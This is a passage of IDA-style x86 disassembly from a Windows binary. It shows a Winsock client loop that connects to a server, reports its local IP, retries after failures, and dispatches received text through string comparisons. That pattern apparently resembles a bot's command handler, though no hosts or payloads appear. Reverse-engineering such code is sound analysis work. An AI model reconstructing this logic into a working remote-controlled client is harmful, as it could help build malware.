		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_13ABBE4
		push	eax
		push	offset dword_447140
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447144
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_13ABDB5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447148
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_13ABDB5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_13ABBE4
		push	eax
		push	offset dword_44714C
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447150
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_13B9A10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BA180	proc near		; CODE XREF: sub_13ABDC4j sub_13ABE3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB7C0
		test	[esp+4+arg_0], 1
		jz	short loc_13BA198
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13BA198:				; CODE XREF: sub_13BA180+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13BA180	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BA1B0	proc near		; CODE XREF: sub_13AB7C0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43935Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	dword_43E028
		mov	dword ptr [esi+11h], offset dword_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_13ABF54
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_13AB423
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_13AB423
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_13AB423
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_13AB423
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_13AB423
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_13AB423
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_13AB423
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_13AB423
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_13AB423
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_13AB423
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13AB423
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB423
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB423
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB423
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AC431
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BA1B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BA370	proc near		; CODE XREF: sub_13AC52Bj

var_188		= dword	ptr -188h
var_181		= byte ptr -181h
var_17C		= byte ptr -17Ch
var_178		= byte ptr -178h
var_16C		= byte ptr -16Ch
var_160		= byte ptr -160h
var_15C		= byte ptr -15Ch
var_154		= dword	ptr -154h
var_148		= dword	ptr -148h
var_140		= byte ptr -140h
var_135		= byte ptr -135h
var_130		= byte ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_118		= dword	ptr -118h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_FC		= byte ptr -0FCh
var_F8		= byte ptr -0F8h
var_F5		= byte ptr -0F5h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= byte ptr -0ECh
var_E8		= byte ptr -0E8h
var_E5		= byte ptr -0E5h
var_E4		= byte ptr -0E4h
var_E0		= byte ptr -0E0h
var_DC		= byte ptr -0DCh
var_D8		= byte ptr -0D8h
var_D5		= byte ptr -0D5h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_C5		= byte ptr -0C5h
var_C4		= byte ptr -0C4h
var_C0		= byte ptr -0C0h
var_BC		= byte ptr -0BCh
var_B0		= byte ptr -0B0h
var_A5		= byte ptr -0A5h
var_A0		= byte ptr -0A0h
var_98		= byte ptr -98h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
var_90		= byte ptr -90h
var_88		= byte ptr -88h
var_85		= byte ptr -85h
var_80		= byte ptr -80h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_55		= dword	ptr -55h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_14		= byte ptr -14h
var_4		= byte ptr -4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch
arg_18		= byte ptr  1Ch
arg_58		= byte ptr  5Ch
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_7C		= byte ptr  80h
arg_8C		= byte ptr  90h
arg_9C		= byte ptr  0A0h
arg_A4		= byte ptr  0A8h
arg_AC		= byte ptr  0B0h
arg_B4		= byte ptr  0B8h
arg_B8		= byte ptr  0BCh
arg_CC		= byte ptr  0D0h
arg_D0		= byte ptr  0D4h
arg_D8		= byte ptr  0DCh
arg_DC		= byte ptr  0E0h
arg_E0		= byte ptr  0E4h
arg_E8		= byte ptr  0ECh
arg_EC		= byte ptr  0F0h
arg_FC		= byte ptr  100h
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_158		= byte ptr  15Ch
arg_180		= byte ptr  184h
arg_184		= byte ptr  188h
arg_194		= byte ptr  198h
arg_198		= byte ptr  19Ch
arg_1A8		= byte ptr  1ACh
arg_1C8		= byte ptr  1CCh
arg_1E4		= byte ptr  1E8h
arg_1F4		= byte ptr  1F8h
arg_204		= byte ptr  208h
arg_210		= byte ptr  214h
arg_21C		= byte ptr  220h
arg_224		= byte ptr  228h
arg_22C		= byte ptr  230h
arg_23C		= byte ptr  240h
arg_244		= byte ptr  248h
arg_24C		= byte ptr  250h
arg_254		= byte ptr  258h
arg_25C		= byte ptr  260h
arg_284		= byte ptr  288h
arg_2A8		= byte ptr  2ACh
arg_2C4		= byte ptr  2C8h
arg_2DC		= byte ptr  2E0h
arg_2EC		= byte ptr  2F0h
arg_2FC		= byte ptr  300h
arg_30C		= byte ptr  310h
arg_364		= byte ptr  368h
arg_374		= byte ptr  378h
arg_37C		= byte ptr  380h
arg_38C		= byte ptr  390h
arg_3B0		= byte ptr  3B4h
arg_3B4		= byte ptr  3B8h
arg_410		= byte ptr  414h
arg_22B4	= byte ptr  22B8h
arg_22DC	= byte ptr  22E0h
arg_22E0	= byte ptr  22E4h
arg_22E4	= byte ptr  22E8h
arg_22EC	= byte ptr  22F0h
arg_22F0	= byte ptr  22F4h
arg_22F8	= byte ptr  22FCh
arg_22FC	= byte ptr  2300h
arg_2308	= byte ptr  230Ch
arg_230C	= byte ptr  2310h
arg_2314	= byte ptr  2318h
arg_2318	= byte ptr  231Ch
arg_231C	= byte ptr  2320h
arg_2328	= byte ptr  232Ch
arg_2330	= byte ptr  2334h
arg_2334	= byte ptr  2338h
arg_2338	= byte ptr  233Ch
arg_2340	= byte ptr  2344h
arg_2344	= byte ptr  2348h
arg_2348	= byte ptr  234Ch
arg_234C	= byte ptr  2350h
arg_2350	= byte ptr  2354h
arg_2354	= byte ptr  2358h
arg_2358	= byte ptr  235Ch
arg_235C	= byte ptr  2360h
arg_2360	= byte ptr  2364h
arg_2364	= byte ptr  2368h
arg_2368	= byte ptr  236Ch
arg_236C	= byte ptr  2370h
arg_2374	= byte ptr  2378h
arg_2378	= byte ptr  237Ch
arg_2384	= byte ptr  2388h
arg_2388	= byte ptr  238Ch
arg_2394	= byte ptr  2398h
arg_2398	= byte ptr  239Ch
arg_23A4	= byte ptr  23A8h
arg_23A8	= byte ptr  23ACh
arg_23B4	= byte ptr  23B8h
arg_23B8	= byte ptr  23BCh
arg_23C4	= byte ptr  23C8h
arg_23C8	= byte ptr  23CCh
arg_23D4	= byte ptr  23D8h
arg_23D8	= byte ptr  23DCh
arg_23E4	= byte ptr  23E8h
arg_23E8	= byte ptr  23ECh
arg_23F4	= byte ptr  23F8h
arg_23F8	= byte ptr  23FCh
arg_2408	= byte ptr  240Ch
arg_2410	= dword	ptr  2414h
arg_2418	= dword	ptr  241Ch
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	4395F3h
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_13AB824
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_13BB740


loc_13BA3B2:				; CODE XREF: sub_13BA370+13CAj
		mov	al, ds:byte_E2AA94
		mov	edi, GetTickCount
		cmp	al, bl
		jz	loc_13BB740
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_13BA3DA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_13BA3E4
		cmp	eax, ebx
		jz	loc_13BA51E


loc_13BA3DA:				; CODE XREF: sub_13BA370+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_13BA51E


loc_13BA3E4:				; CODE XREF: sub_13BA370+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_13BA3F9
		push	eax
		call	closesocket	; closesocket


loc_13BA3F9:				; CODE XREF: sub_13BA370+80j
		mov	ecx, offset word_448CAE
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_13AB937
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_13ABD74
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_13BA429
		mov	[ebp+20h], ebx


loc_13BA429:				; CODE XREF: sub_13BA370+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44743D
		mov	ecx, offset word_448D26
		call	sub_13AC332
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_13AB86A
		mov	eax, [eax]
		mov	ecx, offset word_448D26
		add	eax, 1B6h
		push	eax
		push	offset dword_4473F4
		call	sub_13AC332
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_13AB86A
		mov	edx, [eax]
		mov	ecx, offset word_448D26
		push	edx
		push	offset dword_4472D0
		call	sub_13AC332
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447362
		mov	ecx, offset word_448D26
		call	sub_13AC332
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_13AB86A
		mov	eax, [eax]
		mov	ecx, offset word_448D26
		add	eax, 0DBh
		push	eax
		push	offset byte_447319
		call	sub_13AC332
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_13AB86A
		mov	edx, [eax]
		mov	ecx, offset word_448D26
		add	edx, 92h
		push	edx
		push	offset byte_4473AB
		call	sub_13AC332
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474CF
		mov	ecx, offset word_448D26
		call	sub_13AC332
		call	edi ; GetTickCount
		mov	[ebp+24h], eax


loc_13BA51E:				; CODE XREF: sub_13BA370+64j
					; sub_13BA370+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_13BA548
		push	6
		push	1
		push	2
		call	socket	; socket
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		call	Sleep	; Sleep
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BA548:				; CODE XREF: sub_13BA370+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_13BA6D8
		mov	ax, ds:word_44737C
		xor	edx, edx
		mov	[esp+74h+var_30], edx
		push	eax
		mov	[esp+78h+var_2C], edx
		mov	word ptr [esp+78h+var_30], 2
		mov	[esp+78h+var_28], edx
		mov	[esp+78h+var_24], edx
		call	htons	; htons
		mov	ecx, offset byte_447319
		mov	[esp+78h+var_32], ax
		call	sub_13ABBE4
		push	eax
		call	sub_13ABC7F
		add	esp, 4
		mov	[esp+78h+var_30], eax
		call	edi ; GetTickCount
		mov	edx, [ebp+18h]
		lea	ecx, [esp+78h+var_34]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13BA5C8
		push	2710h
		call	Sleep	; Sleep
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BA5C8:				; CODE XREF: sub_13BA370+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi ; GetTickCount
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+84h+var_50], eax
		lea	ecx, [esp+84h+var_30]
		mov	[esp+84h+var_4C], eax
		lea	edx, [esp+84h+var_50]
		mov	[esp+84h+var_48], eax
		push	ecx
		mov	[esp+88h+var_44], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+90h+var_30], 10h
		call	getsockname	; getsockname
		mov	ecx, [esp+90h+var_55]
		mov	edx, [esp+3Ah]
		mov	eax, [esp+39h]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+3Ch]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+0A0h+arg_3B4]
		push	offset dword_443CD4
		push	edx
		call	wsprintfA	; wsprintfA
		add	esp, 18h
		lea	eax, [esp+90h+arg_3B4]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_13AB9D7
		lea	ecx, [esp+94h+arg_3B0]
		push	ecx
		call	inet_addr	; inet_addr
		push	offset byte_446F80
		mov	ecx, offset byte_4473AB
		mov	[ebp+52h], eax
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BA697
		mov	ecx, offset byte_4473AB
		call	sub_13ABBE4
		mov	edx, ds:dword_44712C
		push	eax
		push	edx
		push	offset dword_4435F4
		push	ebp
		call	sub_13AC20B
		add	esp, 10h


loc_13BA697:				; CODE XREF: sub_13BA370+305j
		mov	ecx, offset byte_E2AA95
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset byte_E2AA95
		call	sub_13ABBE4
		push	eax
		mov	eax, ds:dword_447134
		push	eax
		mov	ecx, offset byte_E2AA95
		call	sub_13ABBE4
		mov	ecx, ds:dword_447130
		push	eax
		push	ecx
		push	offset dword_443CB8
		push	ebp
		call	sub_13AC20B
		add	esp, 1Ch
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BA6D8:				; CODE XREF: sub_13BA370+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+74h+arg_410]
		push	ebx
		rep stosd
		lea	eax, [esp+78h+arg_410]
		push	2000h
		push	eax
		push	edx
		call	sub_13AB680
		add	esp, 10h
		cmp	al, bl
		jz	loc_13BB730
		call	GetTickCount	; GetTickCount
		lea	ecx, [esp+74h+var_5C]
		mov	[ebp+24h], eax
		call	sub_13AC0BC
		lea	ecx, [esp+74h+arg_410]
		push	ecx
		lea	ecx, [esp+78h+var_5C]
		call	sub_13ABE87
		push	offset dword_443600
		lea	edx, [esp+7Ch+arg_30C]
		push	1
		push	edx
		lea	ecx, [esp+84h+var_60]
		call	sub_13ABAAE
		mov	ecx, ds:dword_447138
		mov	[esp+84h+arg_2408], 1
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BA7B0
		push	offset dword_443600
		lea	edx, [esp+8Ch+arg_38C]
		push	4
		push	edx
		lea	ecx, [esp+94h+var_70]
		call	sub_13ABAAE
		push	offset dword_4473F4
		mov	ecx, eax
		mov	[esp+98h+arg_23F8], 2
		call	sub_13ABF72
		test	eax, eax
		lea	ecx, [esp+98h+arg_37C]
		mov	[esp+98h+arg_23F4], 1
		setz	[esp+98h+var_85]
		call	sub_13AB626
		mov	al, [esp+98h+var_85]
		mov	[esp+98h+var_85], 1
		cmp	al, bl
		jnz	short loc_13BA7B4


loc_13BA7B0:				; CODE XREF: sub_13BA370+3EAj
		mov	[esp+98h+var_85], bl


loc_13BA7B4:				; CODE XREF: sub_13BA370+43Ej
		lea	ecx, [esp+98h+arg_2EC]
		mov	[esp+98h+arg_23F4], bl
		call	sub_13AB626
		cmp	[esp+98h+var_85], bl
		jz	short loc_13BA7D6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BA7D6:				; CODE XREF: sub_13BA370+45Bj
		push	offset dword_443600
		lea	eax, [esp+9Ch+arg_7C]
		push	ebx
		push	eax
		lea	ecx, [esp+0A4h+var_80]
		call	sub_13ABAAE
		mov	ecx, ds:dword_44710C
		mov	[esp+0A4h+arg_23E8], 3
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+0A8h+arg_6C]
		mov	[esp+0A8h+arg_23E4], bl
		setz	[esp+0A8h+var_95]
		call	sub_13AB626
		mov	al, [esp+0A8h+var_95]
		push	offset dword_443600
		cmp	al, bl
		push	1
		jz	short loc_13BA874
		lea	edx, [esp+0B0h+arg_21C]
		lea	ecx, [esp+0B0h+var_90]
		push	edx
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0B4h+arg_23D8], 4
		call	sub_13ABBE4
		push	eax
		mov	eax, ds:dword_447128
		push	eax
		push	offset dword_4435F4
		push	ebp
		call	sub_13AC20B
		add	esp, 10h
		mov	[esp+0B4h+arg_23D8], bl
		lea	ecx, [esp+0B4h+arg_210]
		jmp	loc_13BA9A2
; ---------------------------------------------------------------------------


loc_13BA874:				; CODE XREF: sub_13BA370+4BAj
		lea	edx, [esp+0B0h+arg_9C]
		lea	ecx, [esp+0B0h+var_90]
		push	edx
		call	sub_13ABAAE
		mov	ecx, ds:dword_447110
		mov	[esp+0B4h+arg_23D8], 5
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+0B8h+arg_8C]
		mov	[esp+0B8h+arg_23D4], bl
		setz	[esp+0B8h+var_A5]
		call	sub_13AB626
		mov	al, [esp+0B8h+var_A5]
		push	offset dword_443600
		cmp	al, bl
		jz	loc_13BA9E0
		lea	edx, [esp+0BCh+arg_374]
		push	12h
		push	edx
		lea	ecx, [esp+0C4h+var_A0]
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+0C8h+arg_23C8], 6
		call	sub_13AB6EE
		lea	ecx, [esp+0C8h+arg_364]
		mov	esi, eax
		mov	[esp+0C8h+arg_23C4], bl
		call	sub_13AB626
		cmp	esi, ebx
		jz	loc_13BB737
		push	offset dword_443600
		lea	eax, [esp+0CCh+arg_AC]
		push	11h
		push	eax
		lea	ecx, [esp+0D4h+var_B0]
		call	sub_13ABAAE
		mov	ecx, ds:dword_447128
		mov	[esp+0D4h+arg_23B8], 7
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+0D8h+arg_9C]
		mov	[esp+0D8h+arg_23B4], bl
		setz	[esp+0D8h+var_C5]
		call	sub_13AB626
		cmp	[esp+0D8h+var_C5], bl
		jz	short loc_13BA9A7
		push	offset dword_443600
		lea	edx, [esp+0DCh+arg_21C]
		push	12h
		push	edx
		lea	ecx, [esp+0E4h+var_C0]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0E4h+arg_23A8], 8
		call	sub_13ABBE4
		push	eax
		mov	eax, ds:dword_447128
		push	eax
		push	offset dword_4435F4
		push	ebp
		call	sub_13AC20B
		add	esp, 10h
		mov	[esp+0E4h+arg_23A8], bl
		lea	ecx, [esp+0E4h+arg_210]


loc_13BA9A2:				; CODE XREF: sub_13BA370+4FFj
		call	sub_13AB626


loc_13BA9A7:				; CODE XREF: sub_13BA370+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_13BB737
		mov	ecx, offset byte_44743D
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset dword_4473F4
		call	sub_13ABBE4
		mov	ecx, ds:dword_447114
		push	eax
		push	ecx
		push	offset dword_443CA8
		push	ebp
		call	sub_13AC20B
		add	esp, 14h
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BA9E0:				; CODE XREF: sub_13BA370+550j
		lea	edx, [esp+0BCh+arg_2FC]
		push	1
		push	edx
		lea	ecx, [esp+0C4h+var_A0]
		call	sub_13ABAAE
		mov	ecx, ds:dword_447148
		mov	[esp+0C4h+arg_23C8], 9
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BAA62
		push	offset dword_443600
		lea	edx, [esp+0CCh+arg_DC]
		push	1
		push	edx
		lea	ecx, [esp+0D4h+var_B0]
		call	sub_13ABAAE
		mov	ecx, ds:dword_44714C
		mov	[esp+0D4h+arg_23B8], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+0D8h+arg_CC]
		mov	[esp+0D8h+arg_23B4], 9
		setz	[esp+0D8h+var_C5]
		call	sub_13AB626
		mov	al, [esp+0D8h+var_C5]
		mov	[esp+0D8h+var_C5], bl
		cmp	al, bl
		jz	short loc_13BAA67


loc_13BAA62:				; CODE XREF: sub_13BA370+69Bj
		mov	[esp+0D8h+var_C5], 1


loc_13BAA67:				; CODE XREF: sub_13BA370+6F0j
		lea	ecx, [esp+0D8h+arg_2DC]
		mov	[esp+0D8h+arg_23B4], bl
		call	sub_13AB626
		cmp	[esp+0D8h+var_C5], bl
		jz	short loc_13BAAD4
		cmp	[ebp+16h], bl
		jnz	short loc_13BAAB0
		mov	ecx, offset byte_44743D
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset dword_4473F4
		call	sub_13ABBE4
		mov	edx, ds:dword_447114
		push	eax
		push	edx
		push	offset dword_443CA8
		push	ebp
		call	sub_13AC20B
		add	esp, 14h


loc_13BAAB0:				; CODE XREF: sub_13BA370+713j
		mov	ecx, offset byte_E2AA95
		call	sub_13ABBE4
		push	eax
		mov	eax, ds:dword_44711C
		push	eax
		push	offset dword_4435F4
		push	ebp
		call	sub_13AC20B
		add	esp, 10h
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BAAD4:				; CODE XREF: sub_13BA370+70Ej
		push	offset dword_443600
		lea	ecx, [esp+0DCh+arg_FC]
		push	1
		push	ecx
		lea	ecx, [esp+0E4h+var_C0]
		call	sub_13ABAAE
		mov	edx, ds:dword_447124
		mov	ecx, eax
		push	edx
		mov	[esp+0E8h+arg_23A8], 0Bh
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+0E8h+arg_EC]
		mov	[esp+0E8h+arg_23A4], bl
		setz	[esp+0E8h+var_D5]
		call	sub_13AB626
		mov	al, [esp+0E8h+var_D5]
		push	offset dword_443600
		cmp	al, bl
		jz	short loc_13BAB85
		lea	eax, [esp+0ECh+var_30]
		push	3
		push	eax
		lea	ecx, [esp+0F4h+var_D0]
		call	sub_13ABAAE
		push	offset dword_4437F8
		lea	ecx, [esp+0F8h+var_3C]
		mov	[esp+0F8h+arg_2398], 0Ch
		call	sub_13AB8D3
		push	eax
		call	strstr	; strstr
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_13BAB6D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_13AB9D7


loc_13BAB6D:				; CODE XREF: sub_13BA370+7F1j
		lea	ecx, [esp+0F8h+var_40]
		mov	[esp+0F8h+arg_2394], bl
		call	sub_13AB626
		jmp	loc_13BB737
; ---------------------------------------------------------------------------


loc_13BAB85:				; CODE XREF: sub_13BA370+7B7j
		lea	ecx, [esp+0ECh+arg_23C]
		push	1
		push	ecx
		lea	ecx, [esp+0F4h+var_D0]
		call	sub_13ABAAE
		mov	edx, ds:dword_447120
		mov	ecx, eax
		push	edx
		mov	[esp+0F8h+arg_2398], 0Dh
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13BABC0
		mov	al, ds:byte_447854
		mov	[esp+0F8h+var_E5], 1
		cmp	al, bl
		jnz	short loc_13BABC4


loc_13BABC0:				; CODE XREF: sub_13BA370+840j
		mov	[esp+0F8h+var_E5], bl


loc_13BABC4:				; CODE XREF: sub_13BA370+84Ej
		lea	ecx, [esp+0F8h+arg_22C]
		mov	[esp+0F8h+arg_2394], bl
		call	sub_13AB626
		cmp	[esp+0F8h+var_E5], bl
		jz	loc_13BAED1
		push	offset dword_443CA4
		lea	eax, [esp+0FCh+var_88]
		push	1
		push	eax
		lea	ecx, [esp+104h+var_E0]
		call	sub_13ABAAE
		push	96h
		mov	[esp+108h+arg_2388], 0Eh
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+104h+var_F0], eax
		cmp	eax, ebx
		mov	[esp+104h+arg_2388], 0Fh
		jz	short loc_13BAC22
		mov	ecx, eax
		call	sub_13AC454


loc_13BAC22:				; CODE XREF: sub_13BA370+8A9j
		push	0ADh
		mov	[esp+108h+arg_2388], 0Eh
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+104h+var_F0], eax
		cmp	eax, ebx
		mov	[esp+104h+arg_2388], 10h
		jz	short loc_13BAC4E
		mov	ecx, eax
		call	sub_13AB4BE


loc_13BAC4E:				; CODE XREF: sub_13BA370+8D5j
		push	offset dword_4435EC
		lea	ecx, [esp+108h+var_94]
		mov	[esp+108h+arg_2388], 0Eh
